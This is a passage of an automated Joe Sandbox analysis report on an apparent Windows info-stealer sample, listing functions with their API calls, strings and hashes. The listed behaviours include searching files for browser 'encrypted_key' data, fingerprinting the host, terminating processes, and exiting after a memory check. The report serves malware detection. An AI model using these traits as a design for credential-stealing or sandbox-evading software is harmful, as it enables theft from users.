Instruction ID: 6e20846f163e9aad5bd0b792fdd3023809d955ba11e04150d020718a778ac591
Opcode Fuzzy Hash: 57d6c28c5d97f534166e857563da1d7886af0647a63b807deaa87a0ce0190d7c
Instruction Fuzzy Hash: 04F0FE706002295BDB00EB51FC51B6E37A4DB80714F94052FF804962D2DFB999419B9E

Uniqueness

Uniqueness Score: -1.00%

Function 004275E0 Relevance: 7.6, APIs: 5, Instructions: 134fileCOMMON

Download Yara Rule

APIs

SetFilePointer.KERNEL32(?,00000000,00000000,00000001,00000000,00000000,?,004288CA,?,?,?), ref: 00427635
CreateFileA.KERNEL32(?,40000000,00000000,00000000,004288CA,00000080,00000000,00000000,00000000,?,004288CA,?,?,?), ref: 0042766F

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID: File$CreatePointer
String ID:
API String ID: 2024441833-0
Opcode ID: 39d636b83946e493ab1d1776d6036d7e58bff0d78824293afc4070b47b8505ee
Instruction ID: 03750fbd068f6bf1a51b92e490c14d48e5f00a77a2b6a29d7bc5a56f8bb48267
Opcode Fuzzy Hash: 39d636b83946e493ab1d1776d6036d7e58bff0d78824293afc4070b47b8505ee
Instruction Fuzzy Hash: 714176B26097149FD7309F69B8C0A67B7DCE7A4378F108A2FF155C6640D275AC848B64

Uniqueness

Uniqueness Score: -1.00%

Function 004050C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 75libraryCOMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 004050D4

Part of subcall function 00429FF0: std::exception::exception.LIBCMT ref: 0042A005
Part of subcall function 00429FF0: __CxxThrowException@8.LIBCMT ref: 0042A01A
Part of subcall function 00429FF0: std::exception::exception.LIBCMT ref: 0042A02B

LoadLibraryA.KERNEL32 ref: 004050E5
_memmove.LIBCMT ref: 0040511B

Strings

string too long, xrefs: 004050CF

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID: std::exception::exception$Exception@8LibraryLoadThrowXinvalid_argument_memmovestd::_
String ID: string too long
API String ID: 612834451-2556327735
Opcode ID: e4bc90ce0ae16b8eb4ed8dd8a34730e2ad679930ae1b2186047ddbbd15395ec4
Instruction ID: eeabf07ab230b628f6ff5b7532163705fa824b9ee31b893349ae34dd00af9773
Opcode Fuzzy Hash: e4bc90ce0ae16b8eb4ed8dd8a34730e2ad679930ae1b2186047ddbbd15395ec4
Instruction Fuzzy Hash: EB11EC72604B105FE7249D78B8C1A2FB798EF51314F100A3FE497976C2D779A8488B99

Uniqueness

Uniqueness Score: -1.00%

Function 00401000 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 35COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00401018
GlobalMemoryStatusEx.KERNEL32(?), ref: 0040102B
ExitProcess.KERNEL32 ref: 00401053

Strings

@, xrefs: 00401024

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID: ExitGlobalMemoryProcessStatus_memset
String ID: @
API String ID: 2847449748-2766056989
Opcode ID: c1aaddce2f523d330176bfde7c9366d94f1bbe38feb0b0eb84b5e551e47534ec
Instruction ID: 346bf0eb498301867767487691d90335d51704b4b78c120634c43fd7d0c0aead
Opcode Fuzzy Hash: c1aaddce2f523d330176bfde7c9366d94f1bbe38feb0b0eb84b5e551e47534ec
Instruction Fuzzy Hash: 12F09670A0024C9BDB14EFA1E955B6E73B8EB05304F90003AEE0BF76D1DA78E984865D

Uniqueness

Uniqueness Score: -1.00%

Function 004180B0 Relevance: 6.0, APIs: 4, Instructions: 41COMMON

Download Yara Rule

APIs

Part of subcall function 00417FA0: _malloc.LIBCMT ref: 00417FD5
Part of subcall function 00417FA0: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00417FED
Part of subcall function 00417FA0: CloseHandle.KERNEL32(00000000), ref: 00418000

OpenProcess.KERNEL32(001FFFFF,00000000,?,00000000,0041CB11,?,?,?,?,?,?,?,?,?,?,00000000), ref: 004180DB
TerminateProcess.KERNEL32(00000000,00000000,?,00000000,0041CB11,?,?,?,?,?,?,?,?,?,?,00000000), ref: 004180EB
CloseHandle.KERNEL32(00000000,?,00000000,0041CB11,?,?,?,?,?,?,?,?,?,?,00000000), ref: 004180F2
_free.LIBCMT ref: 00418100

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID: CloseHandleProcess$CreateOpenSnapshotTerminateToolhelp32_free_malloc
String ID:
API String ID: 486718275-0
Opcode ID: 1bcd891c7212c780afff0ba3b1b29ea6a9f313a4f6939bf2544a32575660d84b
Instruction ID: 89196761ab34adf0682abbbc7681185e182e86b2e09202241b9e77c245d18d59
Opcode Fuzzy Hash: 1bcd891c7212c780afff0ba3b1b29ea6a9f313a4f6939bf2544a32575660d84b
Instruction Fuzzy Hash: 06F08B7260011CBBC32097A8AC85EDF376CDB89324F11427AF80993181EE705D8586FD

Uniqueness

Uniqueness Score: -1.00%

Function 00420E10 Relevance: 6.0, APIs: 4, Instructions: 37fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(0040CF80,80000000,00000003,00000000,00000003,00000080,00000000,?,0040CF80,?), ref: 00420E2D
GetFileSizeEx.KERNEL32(00000000,?), ref: 00420E3F
CloseHandle.KERNEL32(00000000), ref: 00420E4A
CloseHandle.KERNEL32(00000000), ref: 00420E5B

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID: CloseFileHandle$CreateSize
String ID:
API String ID: 4148174661-0
Opcode ID: 8ed6e4958abe7f6234cde18cb38a88e87d204095a06a06f59c410073990b3b39
Instruction ID: 2cf3b984e69198d5810d98156b3e3cbae5385efe7718f2c32e19d6e4256d717c
Opcode Fuzzy Hash: 8ed6e4958abe7f6234cde18cb38a88e87d204095a06a06f59c410073990b3b39
Instruction Fuzzy Hash: 31F0E0317541146BD720DB68FC09F9A7B6DDB04711F0042A2FD00A31C0E6F16D1486E9

Uniqueness

Uniqueness Score: -1.00%

Function 00405620 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 00405695
_memmove.LIBCMT ref: 004056E6

Part of subcall function 00405530: std::_Xinvalid_argument.LIBCPMT ref: 0040554A

Strings

string too long, xrefs: 00405690

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID: Xinvalid_argumentstd::_$_memmove
String ID: string too long
API String ID: 2168136238-2556327735
Opcode ID: f9acb5386f023df1ee3e38c3983857116045e0420f4afabcae496b3d2b25f7e1
Instruction ID: 35d4fcbd18f45c1042088173687f25444cede4565dc957654cd2b58420efb1fe
Opcode Fuzzy Hash: f9acb5386f023df1ee3e38c3983857116045e0420f4afabcae496b3d2b25f7e1
Instruction Fuzzy Hash: F631D932310A105BD7249E5CE98096BF7E9EBA2724BA0093FF445D77C1C7769C418BA9

Uniqueness

Uniqueness Score: -1.00%

Function 004096D0 Relevance: 4.6, APIs: 3, Instructions: 143COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dcbfd8f47738bb3e2710c1f90cb920a1812398c4fde4436989bf77836b38b457
Instruction ID: b1b31138e52e78198355e19faa0c7cf0527c18d1528af33797811d68395b54b2
Opcode Fuzzy Hash: dcbfd8f47738bb3e2710c1f90cb920a1812398c4fde4436989bf77836b38b457
Instruction Fuzzy Hash: AA51CDB6A00B019FC724DF6AD4805A6FBE4BF48314B004A7FD99A97B92D335F854CB85

Uniqueness

Uniqueness Score: -1.00%

Function 00404B00 Relevance: 4.6, APIs: 3, Instructions: 137COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8f642bb984f6a9e914db82fe8859f9ae9a73605c24acd6c1256e347dc5a989a5
Instruction ID: d4d31ea621a47d450d7043ff626a4eb9c6dc6b45de48d2785c29efe94a6f1662
Opcode Fuzzy Hash: 8f642bb984f6a9e914db82fe8859f9ae9a73605c24acd6c1256e347dc5a989a5
Instruction Fuzzy Hash: 43416EB1E002199FDB14DF69D941AAFB7B4AF88314F01407EE909A7391EB38DD40CB95

Uniqueness

Uniqueness Score: -1.00%

Function 0041A200 Relevance: 4.6, APIs: 1, Strings: 2, Instructions: 134COMMON

Download Yara Rule

APIs

Part of subcall function 00415780: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,00000000,1A5A77C2,00000000,00000000,?,0043F608,000000FF), ref: 0041579A
Part of subcall function 00415780: GetFileSizeEx.KERNEL32(00000000,?,?,0040BC24,?,?,?,00000000,?,?,?,?,?,?,?,1A5A77C2), ref: 004157B0
Part of subcall function 00415780: LocalAlloc.KERNEL32(00000040,?,?,?,0040BC24,?,?,?,00000000,?,?,?,?), ref: 004157CB
Part of subcall function 00415780: ReadFile.KERNEL32(00000000,00000000,?,?,00000000,?,0040BC24,?,?,?,00000000,?,?,?,?), ref: 004157E4
Part of subcall function 00415780: LocalFree.KERNEL32(00000000,?,0040BC24,?,?,?,00000000,?,?,?,?,?,?,?,1A5A77C2), ref: 00415800
Part of subcall function 00415780: CloseHandle.KERNEL32(00000000,?,0040BC24,?,?,?,00000000,?,?,?,?,?,?,?,1A5A77C2), ref: 00415808

Part of subcall function 00420CF0: LocalAlloc.KERNEL32(00000040,0041A262,00000000,?,00000000,?,0041A261,0043F608,?,1A5A77C2,00000000,00000000,?,0043F608,000000FF), ref: 00420D0C

StrStrA.SHLWAPI(00000000,encrypted_key,?,?,1A5A77C2,00000000,00000000,?,0043F608,000000FF,?,0040BC24,?,?,?,00000000), ref: 0041A272

Strings

, xrefs: 0041A327
encrypted_key, xrefs: 0041A26C

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID: FileLocal$Alloc$CloseCreateFreeHandleReadSize
String ID: $encrypted_key
API String ID: 3874507483-1487440752
Opcode ID: f5c1debb86421b69e63a293d9c40d733897acb91f466e0cfb8afdedf56ff6832
Instruction ID: 020b71408d9c9427dd5dc2c6bcad7a28a3fe9e6bcb2e5f97c5e813a5a53eb722
Opcode Fuzzy Hash: f5c1debb86421b69e63a293d9c40d733897acb91f466e0cfb8afdedf56ff6832
Instruction Fuzzy Hash: DB419EB1D00208ABDB04DFA4DD85EEEB779EB44314F54862EF925A3381E738A944CB95

Uniqueness

Uniqueness Score: -1.00%

Function 00404F20 Relevance: 4.6, APIs: 3, Instructions: 113COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 00404FB9

Part of subcall function 0042B159: std::exception::_Copy_str.LIBCMT ref: 0042B174

__CxxThrowException@8.LIBCMT ref: 00404FCE

Part of subcall function 0042B801: RaiseException.KERNEL32(?,?,0042B800,?,?,?,?,?,0042B800,?,004512B8,00468380), ref: 0042B843

Part of subcall function 00404ED0: std::exception::exception.LIBCMT ref: 00404EFF
Part of subcall function 00404ED0: __CxxThrowException@8.LIBCMT ref: 00404F14

_memmove.LIBCMT ref: 00405015

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID: Exception@8Throwstd::exception::exception$Copy_strExceptionRaise_memmovestd::exception::_
String ID:
API String ID: 163498487-0
Opcode ID: ffd127f0c345fbcb16647b3810e125adc6b346f65e941fee187855f13e84187e
Instruction ID: 2e057bc763245afd0339c45c896eab04fc10bb8a33b256ea712b1598e6d4117e
Opcode Fuzzy Hash: ffd127f0c345fbcb16647b3810e125adc6b346f65e941fee187855f13e84187e
Instruction Fuzzy Hash: BA41D7B1A006069BCB14DF68D48069EBBF4EB45360F50423FE916A77C1D379A940CBE5

Uniqueness

Uniqueness Score: -1.00%

Function 0040A2E9 Relevance: 4.6, APIs: 3, Instructions: 59filetimeCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 0040A331
SetFileTime.KERNEL32(00000000,?,?,?), ref: 0040A37D
CloseHandle.KERNEL32(00000000), ref: 0040A384

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID: File$CloseHandleTimeWrite
String ID:
API String ID: 3271938930-0
Opcode ID: 207248a248024d3377b26df64bc9d256ce18a0ee5544e095702078852ad5349f
Instruction ID: cb5d76a18d8d1c74b96038c9c765d628ed5a0043b4495bda6920556073c486e7
Opcode Fuzzy Hash: 207248a248024d3377b26df64bc9d256ce18a0ee5544e095702078852ad5349f
Instruction Fuzzy Hash: 791186729002246BDB219B64EC85BEBB36CAB44310F0045AAED05B7281D678AE54CBD6

Uniqueness

Uniqueness Score: -1.00%

Function 00423DA0 Relevance: 4.6, APIs: 3, Instructions: 51COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,0040D6FB,?,00000010), ref: 00423DCD
K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104,?,00000010), ref: 00423DE8
CloseHandle.KERNEL32(00000000,?,00000010), ref: 00423DEF

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID: CloseFileHandleModuleNameOpenProcess
String ID:
API String ID: 3183270410-0
Opcode ID: 43b23ca3a800be1af3ec48135a17df3ca64c2b3d51789046aace81674c5d7459
Instruction ID: a3aae72f8df890d80e6d5fbfc8fe9186cd2cd86e244501a77757d8c9705e1959
Opcode Fuzzy Hash: 43b23ca3a800be1af3ec48135a17df3ca64c2b3d51789046aace81674c5d7459
Instruction Fuzzy Hash: CE110431600218ABD7209F14DC18BEA77B8EB45700F000199F58997280DFF49A888FD9

Uniqueness

Uniqueness Score: -1.00%

Function 0041FD30 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 40COMMON

Download Yara Rule

APIs

GetCurrentHwProfileA.ADVAPI32(?), ref: 0041FD55

Strings

Unknown, xrefs: 0041FD88

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID: CurrentProfile
String ID: Unknown
API String ID: 2104809126-1654365787
Opcode ID: e72f1b69bc6c62250cd97591e4e33e7d1c32f0d6088bf6b4a3ba92d565c8f0f9
Instruction ID: 48f2ea6159364299c9567c6257bb30efa766220313b1cb0c2f532fdd994ed0e5
Opcode Fuzzy Hash: e72f1b69bc6c62250cd97591e4e33e7d1c32f0d6088bf6b4a3ba92d565c8f0f9
Instruction Fuzzy Hash: DD01DB7090060ADBDB20DF64D814BFAB7F4AB04304F50416DD84197281EB79990DCBD5

Uniqueness

Uniqueness Score: -1.00%

Function 0041F450 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 23COMMON

Download Yara Rule

APIs

GetComputerNameA.KERNEL32 ref: 0041F47F

Strings

Unknown, xrefs: 0041F487

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID: ComputerName
String ID: Unknown
API String ID: 3545744682-1654365787
Opcode ID: 7f6c996b8c0b680acdfb5c3ba19950f0633967a53ef18c011f924cfb92e69325
Instruction ID: 2b24c4420458caded6e4efca2da5fd831f6bc7a3c5d3bd9ff90135d071baa310
Opcode Fuzzy Hash: 7f6c996b8c0b680acdfb5c3ba19950f0633967a53ef18c011f924cfb92e69325
Instruction Fuzzy Hash: EDE03031A0011C8BD790DFA9DC4069A73E8FB08304F81C1BAE54DD3201DE34AA4C8F89

Uniqueness

Uniqueness Score: -1.00%

Function 004286D0 Relevance: 3.1, APIs: 2, Instructions: 61fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,?,00000000,00000000,?,0042961A,?), ref: 00428717

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 3323a60e2e1a162ff786767eab0a2a74d62e891b596d028ecdda5d5461441248
Instruction ID: f95da441dfd6838cd38db83a2d2acd7e10bbbd1d50a59c6a8fbec78ac9e95306
Opcode Fuzzy Hash: 3323a60e2e1a162ff786767eab0a2a74d62e891b596d028ecdda5d5461441248
Instruction Fuzzy Hash: 33118EB26156145EE3209E6DBCC0B9BFBDCF798368F20453FF259C6240C6B198808668

Uniqueness

Uniqueness Score: -1.00%

Function 00407810 Relevance: 3.1, APIs: 2, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4445687767ea8a2d27f77801d197ff0858d4042cd5bd273ffcee456df5160118
Instruction ID: 3ea309e88fbbc304c7e11d7a00143459d61116feed79a59cab28d2df217fb001
Opcode Fuzzy Hash: 4445687767ea8a2d27f77801d197ff0858d4042cd5bd273ffcee456df5160118
Instruction Fuzzy Hash: 9C1151729042089BD730EF59D809796F3E8AF00319F10456ED89957780E7B9F914CB86

Uniqueness

Uniqueness Score: -1.00%

Function 0040CFE0 Relevance: 3.1, APIs: 2, Instructions: 52COMMON

Download Yara Rule

APIs

_strtok_s.LIBCMT ref: 0040CFF1

Part of subcall function 0040C8E0: wsprintfA.USER32 ref: 0040C934
Part of subcall function 0040C8E0: FindFirstFileA.KERNELBASE(?,?), ref: 0040C94B
Part of subcall function 0040C8E0: _memset.LIBCMT ref: 0040C967
Part of subcall function 0040C8E0: lstrcat.KERNEL32(?,?), ref: 0040C977
Part of subcall function 0040C8E0: StrCmpCA.SHLWAPI(?,00448AAC), ref: 0040C99F
Part of subcall function 0040C8E0: StrCmpCA.SHLWAPI(?,00448AB0), ref: 0040C9B9
Part of subcall function 0040C8E0: lstrcpy.KERNEL32(?,?), ref: 0040C9EB
Part of subcall function 0040C8E0: lstrcat.KERNEL32(?,00448AB4), ref: 0040C9FD
Part of subcall function 0040C8E0: lstrcat.KERNEL32(?,?), ref: 0040CA11

_strtok_s.LIBCMT ref: 0040D043

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$_strtok_s$FileFindFirst_memsetlstrcpywsprintf
String ID:
API String ID: 2829193063-0
Opcode ID: 8906d34d377963a9e5803f9e0cecc331bc8a98664448aa005c01907f91d8414c
Instruction ID: 2da6e81fecbd719ed9995f54481d67b0d08fa53344a0e02d0202b11112955182
Opcode Fuzzy Hash: 8906d34d377963a9e5803f9e0cecc331bc8a98664448aa005c01907f91d8414c
Instruction Fuzzy Hash: B5010072600209BBDB14DE95DC81FAB73ACAB8D754F10415AFE08A3241D674ED1587A9

Uniqueness

Uniqueness Score: -1.00%

Function 00420E70 Relevance: 3.0, APIs: 2, Instructions: 32COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00420E91
SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?), ref: 00420EAA

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID: FolderPath_memset
String ID:
API String ID: 3318179493-0
Opcode ID: 349fe6df5dffde049a8c10c42c06e02b746c74c99d493594d89b4db1dfcedc0d
Instruction ID: 41645890ad22d84e85dd06fe8c202cba51bea3cd0ae6c2fc16cc9e2fe10bdc56
Opcode Fuzzy Hash: 349fe6df5dffde049a8c10c42c06e02b746c74c99d493594d89b4db1dfcedc0d
Instruction Fuzzy Hash: 95F0B470B102086BD710DB60DC96FAD73ACDB04704F4042A9A9099B1C0EA70AB098A89

Uniqueness

Uniqueness Score: -1.00%

Function 004300F3 Relevance: 3.0, APIs: 2, Instructions: 8COMMONLIBRARYCODE

Download Yara Rule

APIs

___crtCorExitProcess.LIBCMT ref: 004300FB

Part of subcall function 004300C8: GetModuleHandleW.KERNEL32(mscoree.dll,?,00430100,0042B7A0,?,0043322E,000000FF,0000001E,00453668,0000000C,004332D9,0042B7A0,0042B7A0,?,0043175B,0000000D), ref: 004300D2
Part of subcall function 004300C8: GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 004300E2

ExitProcess.KERNEL32 ref: 00430104

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess$AddressHandleModuleProc___crt
String ID:
API String ID: 2427264223-0
Opcode ID: 293ba773f5babb68e8d6e0faa123202cf344cf2baa94fc4f7fa5646a732bd7b7
Instruction ID: 22fbfd858f7400320b3d43f7e00cf0ec05a9096338bf0e7ef1427793dd284468
Opcode Fuzzy Hash: 293ba773f5babb68e8d6e0faa123202cf344cf2baa94fc4f7fa5646a732bd7b7
Instruction Fuzzy Hash: 8BB0923104114CBBCB252F52EC4A8493F2AEB813A0B504026F8080A032DF76ADD69A88

Uniqueness

Uniqueness Score: -1.00%

Function 00404690 Relevance: 2.6, APIs: 2, Instructions: 71memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,00000000,00003000,00000040), ref: 004046EF
VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000040), ref: 00404723

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 7f2ae08573e01924fc283925ac580a924f9d651a04958c97d4b40dc3fcc9486f
Instruction ID: 40327644bc5508b6062c5049226966227b3d6d0749a1f9d61fe25bdcc6666d98
Opcode Fuzzy Hash: 7f2ae08573e01924fc283925ac580a924f9d651a04958c97d4b40dc3fcc9486f
Instruction Fuzzy Hash: 0A21A5B174070457C334CB79CC81BE7B7E5ABC5314F144A3EEB5ADA390E67AA8408648

Uniqueness

Uniqueness Score: -1.00%

Function 00409850 Relevance: 1.8, APIs: 1, Instructions: 256COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 40f86b462deebf54802dde244be850116daff0a6cbf4f27d50e50f55ad155d82
Instruction ID: 5c7604781ed8dea1bc20448cc5e667554cee2bc2d79ae5c02bda620b9eb53d8c
Opcode Fuzzy Hash: 40f86b462deebf54802dde244be850116daff0a6cbf4f27d50e50f55ad155d82
